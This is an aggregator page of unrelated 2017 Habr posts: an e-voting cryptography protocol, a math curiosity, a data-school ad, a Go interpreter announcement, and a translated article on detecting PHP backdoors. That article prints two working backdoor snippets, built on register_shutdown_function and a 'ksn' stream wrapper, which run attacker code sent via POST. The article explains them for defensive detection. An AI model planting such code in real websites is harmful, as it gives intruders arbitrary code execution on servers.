$E_{e_{\Large государственный}}(i + d_{личный}))$ — государственная подпись, удостоверяющая верность данных.

Так же в репозитории хранятся:
$d_{государственный}$ — публичный ключ государства;
$d_{избиркома}$ — публичный ключ избиркома.

Государство:


$e_{государственный}$ — приватный ключ государства.

Избирком:


$e_{избиркома}$ — приватный ключ избиркома.

Примечание: я использовал допущение, что на момент начала голосования информация в репозитории верна: каждому человеку взаимно однозначно соответствует ключ ЭЦП, там нет «мёртвых душ». Механизмы проверки этой информации я рассматривать не буду: мне кажется, они должны быть скорее административными, чем математическими. Также информация предполагается неизменяемой в течение всего голосования.

1. Регистрация


Каждый избиратель предъявляет свои данные избиркому. Он проверяет, что избиратель ещё не зарегистрирован и имеет избирательное право. После проверки комиссия вместе с избирателем создаёт то, что я буду далее называть контрактом.

Контракт содержит следующие данные:
$i$ — идентификационные данные избирателя
$M_m(d_{голосования})$ — замаскированный секретным множителем избирателя ключ дешифрования для голосования
$M_m(e_{проверочный})$ — замаскированный секретным множителем избирателя ключ шифрования для проверки
$E_{е_{\Large избиркома}}(M_m(d_{голосования}))$ — замаскированный секретным множителем избирателя ключ дешифрования для голосования, подписанный избиркомом

$K_1 = i + M_m(d_{голосования}) + M_m(e_{проверочный}) + E_{е_{\Large избиркома}}(M_m(d_{голосования}))$


Эта информация подписывается как избиркомом, так и избирателем:

$K = K_1 + E_{e_{\Large личный}}(K_1) + E_{e_{\Large избиркома}}(K_1)$


Все контракты публикуется избиркомом.

На данном этапе предотвращаются следующие атаки:

  • Избирком откажется публиковать контракт. В таком случае, избиратель сможет доказать его существование, т.к. он подписан избиркомом;
  • Избиратель попытается зарегистрироваться ещё раз. Избирком может доказать, что избиратель уже регистрировался с помощью его подписи;
  • Избирком зарегистрирует несуществующих людей. В таком случае любой наблюдатель сможет доказать это, показав, что из данных нет в репозитории личных данных;
  • Избирком не может зарегистрировать реальных людей без их присутствия, т.к. не обладает их приватным ключом $e_{личный}$

2. Голосование


Избиратель демаскирует подписанный ключ для голосования:

$N_m(E_{е_{избиркома}}(M_m(d_{голосования}))) = E_{е_{\Large избиркома}}(d_{голосования})$



И создаёт не связанный с его личностью голос:

$V = d_{голосования} + E_{е_{\Large избиркома}}(d_{голосования}) + e_{проверочный} + с + E_{е_{\Large голосования}}(с)$


где $c$ — выбор кандидата.

Избиратель анонимно отправляет голос в избирком. Избирком публикует его в открытом доступе и возвращает в качестве доказательства приёма $E_{е_{\Large избиркома}}(V)$.

3. Проверка


К сожалению, на прошлом этапе избирком мог создать сколько угодно голосов, не связанных с реальными личностями, поэтому необходима проверка каждого голоса. Кому поручить проверку? Я считаю, что лучше всего обратиться к принципам демархии и поручить проверку случайному избирателю. Можно придумать бесконечное количество схем распределения пар проверяющий-проверяемый на множестве голосов, но мне кажется оптимальным следующий: разбить множество на пары и назначить их проверяющими друг для друга. Таким образом разгласивший информацию проверяющий может быть привлечён к ответственности проверяемым. Какая бы схема не использовалась, алгоритм её формирования должен быть опубликован до начала регистрации, и зависеть от ключа, неизвестного до окончания регистрации. Например, ключ можно генерировать из курсов валют, или публично и совместно кандидатами (например, с помощью лототрона). Если проигнорировать это условие, избирком сможет после окончания регистрации найти и добавить в список такое множество фальшивых голосов, что все они или большинство их будет проверяющими друг для друга.

Итак, ключ сгенерирован и опубликован. Теперь каждый избиратель должен найти своего проверяющего, получить из базы голосов его публичный проверочный ключ $e_{проверочный}$, сгенерировать проверочную информацию

$I = V + E_{е_{\Large проверочный\ проверяющего}}(i + m + E_{e_{\Large личный}}(i + m))$


и анонимно отправить её в избирком. Избирком публикует её в открытом доступе и возвращает в качестве доказательства приёма $E_{е_{\Large избиркома}}(I)$.

Проверяющий находит $I$ проверяемого в базе по $V$, дешифрует $E_{е_{\Large проверочный}}(i + m + E_{e_{\Large личный}}(i + m))$ с помощью своего $d_{проверочный}$, с помощью $m$ демаскирует $M_m(d_{голосования})$ и $M_m(e_{проверочный})$ и проверяет что:

  • $i$ есть в базе $i$ и $K$;
  • подпись $E_{e_{\Large личный}}(i + m)$ валидна;
  • $d_{голосования}$ совпадает с хранящимся в $K$;
  • $e_{проверочный}$ совпадает с хранящимся в $K$.

Предотвращаются следующие атаки:

  • В случае, если проверяемый не предоставляет $I$, его голос не учитывается;
  • Если проверяемый предоставляет ложную информацию — проверяющий сможет доказать подлог, опубликовав свой $d_{проверочный}$;
  • Проверяющий не может опубликовать личные данные проверяемого, т.к. проверяемый так же имеет данные проверяющего и сможет привлечь его к ответственности;
  • Избирком не может создать голоса, не связанные с реальной личностью;
  • Проверяемый не мог подменить ключи, заявленные в контракте;
  • Избиратель не может проголосовать дважды, т.к. имеет на руках только один подписанный избиркомом ключ;
  • Избирком не может подменить $c$, т.к. не обладает $e_{голосования}$.

Результаты


Недостатки протокола:

  • К сожалению, полной анонимности достичь не удалось: один случайный избиратель узнает, за кого вы проголосовали;
  • Протокол не защищает от покупки голоса: избиратель может доказать, что голосовал именно так, как заявлял;
  • Протокол неудобен для использования для не имеющих доступа к интернету людей: минимум 2 раза требует подключения к интернету (вероятно, в избирательном участке). Более того, избирательный участок может отследить голос и деанонимизировать избирателя. Вероятно, можно решить первую проблему, разрешив избирателю отказаться от роли проверяющего и добавив признак этого в контракт и голос. Недостающие проверки будут распределены между оставшимися избирателями;
  • Протокол не защищает от следующей проблемы: избирком может просто отказаться принимать «неправильный» голос. В качестве решения можно использовать независимую площадку (например, соцсеть), приравняв публикацию голоса в ней к отсылке его в избирком.

Также, возможно, этап проверки можно упростить и сделать более анонимным, используя доказательства с нулевым разглашением. К сожалению, я пока не знаю, как это сделать и можно ли.

Если вы знаете, пишите в комментариях. Также пишите, если знаете, как улучшить протокол, нашли ошибку или уязвимость, и иную конструктивную критику.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335398/


Метки:  

Странная формула для нахождения суммы квадратных корней

Пятница, 11 Августа 2017 г. 10:36 + в цитатник

Предыстория


Около пяти лет назад, лежа на кровати, я перебирал в уме школьную таблицу квадратных корней и «играл» с ней, совершая такие действия над числами как вычитание, умножение и тому подобное.
И открыл для себя что-то новое. Это «новое» никто из моих школьных преподавателей не мог объяснить.

Цель написания статьи


Пишу эту статью для того, чтобы Ты, дорогой читатель, помог мне ее вывести из существующих теорем и аксиом.

Формула




  • A — первое число, квадратный корень которого является целочисленным
  • B — второе число, квадратный корень которого является целочисленным
  • N — расстояние между числами в таблице квадратных корней (например: расстояние между числами 16 и 225 равно 10)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335396/


Метки:  

Школа Данных: хорошее мы сделали еще лучше

Пятница, 11 Августа 2017 г. 10:35 + в цитатник
image

Привет, хабр!

Надеемся, этим летом не смотря на плохую погоду Вам удалось отдохнуть. Близится осень — самое время поучиться. С учетом предыдущих курсов — мы сильно обновили нашу программу — добавили множество практических занятий, больше говорим про практические кейсы. В этом посте хотелось бы подробно рассказать про все нововведения. Для тех, у кого мало времени:

  • Снизилась цена
  • 8 дополнительных практических семинаров
  • Дополнительные занятия про бизнес
  • Занятия по Deep Learning
  • Доступно удаленное обучение
  • Плюс 2 занятия в Вводном курсе

Теперь обо всем по-порядку.

8 дополнительных практических семинаров


Чтобы наши слушатели могли еще больше погрузиться в детали разработки алгоритмов — мы добавили 8 дополнительных семинаров, на которых «от и до» будут разбираться целиком практические задачи. Раньше на наших курсах некоторые слушатели не успевали делать домашние задания, т.к. программа очень насыщенная и сложная. Теперь им никуда не отвертеться — будет еще больше задач и практики=)

Дополнительные занятия про бизнес


Как мы уже писали ранее, сейчас на рынке очень много курсов, в которых речь идет про аналитику и машинное обучение, про технические ограничения, разработку и тестирование алгоритмов. НО мало где обсуждаются вопросы, связанные с оценкой экономической эффективности этих алгоритмов, а также процессу внедрения их «в прод». Именно на этом с основном, помимо формирования технических навыков, основано наше обучение в школе — мы учим не просто аналитике (этому вы можете научиться при большом желании и без нас), а именно ответу на вопросы бизнеса. Теперь мы добавили еще больше занятий, посвещенных продуктовой аналитике и оценке экономического эффекта и внедрению «в прод» — такого Вы на курсере не найдете)

Deep Learning


В связи с развитием современных подходов к анализу изображений и видео мы добавили занятия про Deep Learning — на нем мы не будем глубоко погражаться в технические детали, потому что понимаем, что скорее всего на работе вряд ли Вам это в ближайшей перспективе пригодится, но полезно знать подходы к современным алгоритмам анализа таких сложных обьектов, как изображения, видео и тексты.

Онлайн-обучение


Многие сожалели о том, что на наших занятиях нельзя заниматься удаленно — теперь занятия доступны в режиме онлайн. Это не освобождает Вас от практических занятий и домашних заданий. Разумеется, занятия в классе более продуктивны и мотивируют человека работать, но, порой, в силу разных на то причин, бывает удобно присутствовать удаленно, особенно если это лекция

Скидка 10%


Несмотря на то, что количество занятий и продолжительность обучения увеличилась — до 31 августа слушателям доступна скидка 10% на курс. Итого, на сегодняшний день курс Школы Данных становится одним из лучших по соотношению цена-качество (по крайней мере мы стремились так делать)

Плюс 2 занятия в Вводном курсе


Для тех, кто еще только только начинает изучение анализа данных и хочет подтянуть свои математические навыки и обзорно пройтись по математической составляющей анализа данных у нас хорошая новость — теперь в наш вводный курс мы добавили 2 дополнительных занятия!

Напомним, что если Вас интересует чисто изучение машинного обучения, различных математических подходов и Вы не торопитесь это применять в реальных бизнес-задачах — для Вас доступно большое количество курсов на платформах Coursera, Edx и многих других. После которых Вы можете заняться решением задач на Kaggle.

Но наш опыт показывает, что даже участие и успешное выступление в соревнованиях Kaggle не помогают при решении индустриальных задач (к похожему заключению пришли и любители соревнований по спортивному программированию – участие в соревнованиях типа ACM имеет мало общего с индустриальной разработкой ПО). Более того, данный опыт приобретается лишь методом проб и ошибок и никогда не будет описан в книгах – даже мы на своих лекциях рассказываем не все тонкости, которые применили на практике.

Помимо обновления нашего основного курса мы также датах начала наших курсов:


До встречи в Школе Данных!)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335394/


[Перевод] Распознать и обезвредить. Поиск неортодоксальных бэкдоров

Пятница, 11 Августа 2017 г. 10:14 + в цитатник
Согласно нашим подсчетам, в 72% зараженных сайтов использованы программы скрытого удаленного администрирования — бэкдоры. С их помощью мошенники получают удаленный доступ к вашему сайту, и понятное дело, чем это грозит владельцу: получение и передачи конфиденциальных данных пользователей, запуск вредоносных программ, уничтожения информации и тд.



Время от времени приходится сталкиваться с уникальными бэкдорами, которые не включают обычные функции PHP, такие как eval, create_function, preg_replace, assert, base64_decode и т.п.

Такие бэкдоры часто выглядят как исходный код без какой-либо обфускаций, нет зашифрованных строк, конкатенации строк, форматирования кода программы, изменения его структуры. Однако эти бэкдоры по-прежнему позволяют злоумышленнику запускать на вашем сервере произвольный код.

Бэкдор и Shutdown Function


Давайте начнем с простого. Комментарий в файле говорит, что это @package win.error.Libraries с функцией:

function win() 
 { register_shutdown_function($_POST['d']('', $_POST['f']($_POST['c']))); }


В этом случае $ _POST мы рассматриваем как нечто подозрительное. Но действительно ли это злонамереннй код?

register_shutdown_function регистрирует функцию, которая выполнится по завершении работы скрипта. Потому, независимо от кода, который вы видите в скрипте, после его завершения будет выполнена функция обратного вызова из функции register_shutdown_function.

Функция, выполняемая после скрипта, будет выглядеть так:

$_POST['d']('', $_POST['f']($_POST['c']))

В любом случае, код выглядит загадочным. Взглянем на него глазами хакера и предположим, что им был активирован скрипт со следующими параметрами POST:

d = create_function
е = base64_decode
с = some_base64_encoded_malicious_PHP_code

Получаем следующее:

create_function('', base64_decode(some_base64_encoded_malicious_PHP_code))

Теперь это выглядит как обычный бэкдор. Этот код не требует дополнительного вызова, так как register_shutdown_function регистрирует функцию обратного вызова, которая автоматом выполнится после завершения работы скрипта.

Бэкдор и Stream Wrapper


Теперь немного усложним задание по распознаванию бэкдоров.

Перед нами комментарий — @package Stream.ksn.Libraries, а значит, файл содержит класс Stream и функцию для работы с потоками stream_wrapper_register, которая регистрирует обертку по ksn протоколу.

class Stream 
{ 
   function stream_open($path, $mode, $options, &$opened_path) 
   { 
       $url = parse_url($path); 
       $f = $_POST['d']('', $url["host"]);
       $f(); 
       return true; 
    } 
} 
stream_wrapper_register("ksn", "Stream"); 

// Register connect the library Stream 
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

А теперь, по порядку. Для владельцев сайта и некоторых вебмастеров этот код выглядит вполне законно — типичные файлы в системах управления контентом или сторонних плагинах — возможно, не совсем понятно за чем он и что делает, но если есть — видимо нужен и полезен. А кто-нибудь знает, что такое ksn потоки?

Но погодите — мы видим, что в коде присутствуют POST-данные. А вот это уже вызывает подозрение, так как параметры POST могут контролироваться злоумышленниками. Пока не совсем ясно, какие данные POST используются в этом коде. Поиграем в криптографов и используем технику декодирования, заменим буквы в фразе.

Начнем с этой части кода из функции stream_open:

$f = $_POST['d']('', $url["host"]);

Подозрительно, когда параметр POST используется как имя функции. Код предполагает, что значение $ _POST ['d'] может быть create_function. Если это так, то $url [«host»] содержит какой-то исполняемый код, но переменная $ url разбирает URL и возвращает его компоненты с использованием стандартной функции PHP parse_url. Это означает, что $url [«host»] — это только часть хост-часть URL пути.

Сомневаюемся, что доменное имя может содержать исполняемый PHP-код… верно?

Давайте проверим, откуда мы получаем параметр $path в function stream_open: по идее он будет содержать разобраный URL-адрес, полученный при использовании функции parse_url. Чтобы выяснить это, рассмотрим эту часть кода:

stream_wrapper_register("ksn", "Stream");

Функция stream_wrapper_register регистрирует протокол ksn и класс Stream, который будет работать с этим протоколом. Класс Stream следует условию прототипа streamWrapper, а именно streamWrapper::stream_open — открывает файл или URL, и будет вызваться сразу же после инициализации протокола.

stream_open должен следовать описанию, где $path — это URL переданное функции fopen(), которая закрепляет именованный ресурс, указанный в аргументе filename, за потоком:

public bool streamWrapper::stream_open ( string $path , string $mode ,
 int $options , string &$opened_path )

В нашем случае fopen открывает URL-адрес ksn: //:

$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

В итоге, $path получается строка: 'ksn: //'.$_POST [' f '] ($ _POST [' c ']),'

Это создаст URL, в котором часть хоста — исполняемый зловредный PHP код.

Можно ли создать доменное имя или IP-адрес, который будет в действительности полноценным PHP-кодом для атаки веб-сайтов? Функция parse_url не проверяет URL-адреса на корректность, а просто разбивает их на части. Все от: // до первой косой черты (/) или двоеточия (:) считается основной частью URL адреса.

Например, если вы задаете parse_url function: ksn: // eval (base64_decode ($ _POST [«code»])); возвращена будет основная часть URL: eval (base64_decode ($ _ POST [«code»]));

Следуя логике бэкдора, получим следующие параметры POST:

е = base64_decode
с = some_base64_encoded_malicious_PHP_code

В этом случае формулировка fopen выглядит так:

$fp = fopen('ksn://base64_decode(base64_encoded_malicious_PHP_code)', '');

Теперь, вернемся к stream_open function, это будет последним фрагментом головоломки. Теперь известно, какой URL-адрес можно передать файлу функции fopen:

$f = $_POST['d']('', $url["host"]);

И брюки превращаются, превращаются брюки — в элегантную строку:

$f = create_function('', base64_decode(base64_encoded_malicious_PHP_code));

Следующая строка просто выполняет бэкдор-код:

$f();

Другими словами, все, что требуется для выполнения бэкдор-кода, — это вызвать функцию fopen () с созданным URL-адресом ksn: //.

Выше был показан пример, как злоумышленники могут использовать менее известные функции PHP для создания уязвимостей. Учитывая, что на типичном веб-сайте есть тысячи PHP-файлов, вряд ли можно тщательно проверить каждый файл. Потому поиск вредоносного ПО на сайте — задача не совсем простая. Нельзя полагаться лишь на ручную проверку кода и простые скрипты, которые сканируют известные шаблоны вредоносных программ.

На правах рекламы. Акция! Только сейчас получите до 4-х месяцев бесплатного пользования VPS (KVM) c выделенными накопителями в Нидерландах и США (конфигурации от VPS (KVM) — E5-2650v4 (6 Cores) / 10GB DDR4 / 240GB SSD или 4TB HDD / 1Gbps 10TB — $29 / месяц и выше, доступны варианты с RAID1 и RAID10), полноценным аналогом выделенных серверов, при заказе на срок 1-12 месяцев, условия акции здесь, cуществующие абоненты могут получить 2 месяца бонусом!

Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335392/


Метки:  

Интерпретатор 1С-подобного языка на Go

Пятница, 11 Августа 2017 г. 09:55 + в цитатник
image

ГОНЕЦ (gonec): Интерпретатор и платформа создания микросервисов на 1С-подобном языке
На волне импортозамещения и потребности в высокоэффективных современных кросплатформенных инструментах для программистов 1С, я выпустил первую версию интерпретатора 1С-подобного языка, и назвал его «Гонец». Платформа написана на Го, ибо я нашел его идеальным языком для таких целей.

Несколько позже планирую разместить серию статей, как я его делал, и как вы можете сделать нечто подобное.
Пока анонс самого проекта.

Язык представляет из себя смесь языков 1С, Javascript и Go (golang), и позволяет создавать высокопроизводительные вэб-приложения и микросервисы, с низким треббованием к системным ресурсам.

Страница проекта на гитхабе: github.com/covrom/gonec

Документация по языку и интерпретатору: github.com/covrom/gonec/wiki

Онлайн-версия для тестирования, развернутая в docker-контейнере heroku: gonec.herokuapp.com

Цели

Интерпретатор создан для решения программистами 1С множества задач, связанных с высокопроизводительными распределенными вычислениями, создания вэб-сервисов и вэб-порталов для работы сотен тысяч пользователей, работы с высокоэффективными key-value базами данных с использованием синтаксиса языка, похожего, но не ограниченного возможностями языка 1С.

Включив такой интерпретатор в свое решение, Вы можете предоставить высокий уровень сервиса для своих клиентов, который обгонит решения не только ваших конкурентов на рынке 1С, но и конкурентных платформ в enterprise (SAP Cloud).

Почему синтаксис похож на 1С?

Синтаксис 1С знаком и удобен сотням тысяч программистов в России и СНГ, а в перспективе и зарубежом. Это позволяет создавать решения, которые могут поддерживаться любыми программистами 1С, и которые не будут требовать дополнительной квалификации.

Интерпретатор поддерживает синтаксис языка платформы 1С: Предприятие 8.3, за исключением объектов метаданных и глобальных объектов — в интерпретаторе, по понятным причинам, используются свои объекты.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335390/


Метки:  

Поиск сообщений в rss_rss_hh_new
Страницы: 1437 ... 1091 1090 [1089] 1088 1087 ..
.. 1 Календарь